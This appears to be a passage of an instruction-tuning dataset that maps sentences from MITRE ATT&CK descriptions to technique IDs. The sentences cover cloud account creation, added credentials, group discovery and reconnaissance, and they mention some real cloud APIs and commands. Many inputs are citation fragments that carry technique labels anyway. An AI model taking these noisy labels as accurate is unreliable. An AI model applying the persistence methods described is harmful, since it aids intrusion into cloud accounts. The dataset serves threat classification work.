MITRE techniques contained in the text. ### Input: With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Accounts may be created on the local system or within a domain or cloud tenant.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Accounts may be created on the local system or within a domain or cloud tenant. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create a cloud account to maintain access to victim systems.", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create a cloud account to maintain access to victim systems. ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation:", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation:", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users) ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection. ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).", "output": "T1136.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003). ### Response: T1136.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to discover group and permission settings.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to discover group and permission settings. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to discover group permission settings in many different ways.", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to discover group permission settings in many different ways. ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)", "output": "T1069", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018) ### Response: T1069."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to find local system groups and permission settings.", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to find local system groups and permission settings. ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group. ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl .", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl . ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "-list /Groups</code>", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: -list /Groups</code> ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "on macOS, and <code>groups</code> on Linux can list local groups.", "output": "T1069.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: on macOS, and <code>groups</code> on Linux can list local groups. ### Response: T1069.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**This technique has been deprecated and should no longer be used.", "output": "T1149", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated and should no longer be used. ### Response: T1149."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution.", "output": "T1149", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. ### Response: T1149."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History).", "output": "T1149", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). ### Response: T1149."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different  (Citation: Methods of Mac Malware Persistence).", "output": "T1149", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different  (Citation: Methods of Mac Malware Persistence). ### Response: T1149."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.", "output": "T1149", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same. ### Response: T1149."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use search engines to collect information about victims that can be used during targeting.", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use search engines to collect information about victims that can be used during targeting. ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation:", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SecurityTrails Google Hacking)(Citation:", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SecurityTrails Google Hacking)(Citation: ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ExploitDB", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ExploitDB ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GoogleHacking)", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GoogleHacking) ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may craft various search engine queries depending on what information they seek to gather.", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may craft various search engine queries depending on what information they seek to gather. ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials.", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search public code repositories for information about victims that can be used during targeting.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search public code repositories for information about victims that can be used during targeting. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users typically interact with code repositories through a web application or command-line utilities such as git.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users typically interact with code repositories through a web application or command-line utilities such as git. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search various public code repositories for various information about a victim.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search various public code repositories for various information about a victim. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**Note:**", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **Note:** ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories.", "output": "T1593.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories. ### Response: T1593.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search social media for information about victims that can be used during targeting.", "output": "T1593.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search social media for information about victims that can be used during targeting. ### Response: T1593.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.", "output": "T1593.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. ### Response: T1593.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different social media sites depending on what information they seek to gather.", "output": "T1593.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different social media sites depending on what information they seek to gather. ### Response: T1593.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "output": "T1593.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). ### Response: T1593.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting.", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation:", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SecurityTrails Google Hacking)(Citation:", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SecurityTrails Google Hacking)(Citation: ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ExploitDB", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ExploitDB ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GoogleHacking)", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GoogleHacking) ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different online sites depending on what information they seek to gather.", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different online sites depending on what information they seek to gather. ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment. ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation:", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation:", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Demystifying Azure AD Service Principals)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Demystifying Azure AD Service Principals) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation:", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Expel IO Evil in AWS)(Citation:", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Expel IO Evil in AWS)(Citation: ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Expel Behind the Scenes)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Expel Behind the Scenes) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account.", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal.", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation:", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpecterOps Azure Privilege Escalation)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpecterOps Azure Privilege Escalation) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials tied to the permissions of the original user account.", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials tied to the permissions of the original user account. ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated. ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Crowdstrike AWS User Federation Persistence)", "output": "T1098.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. 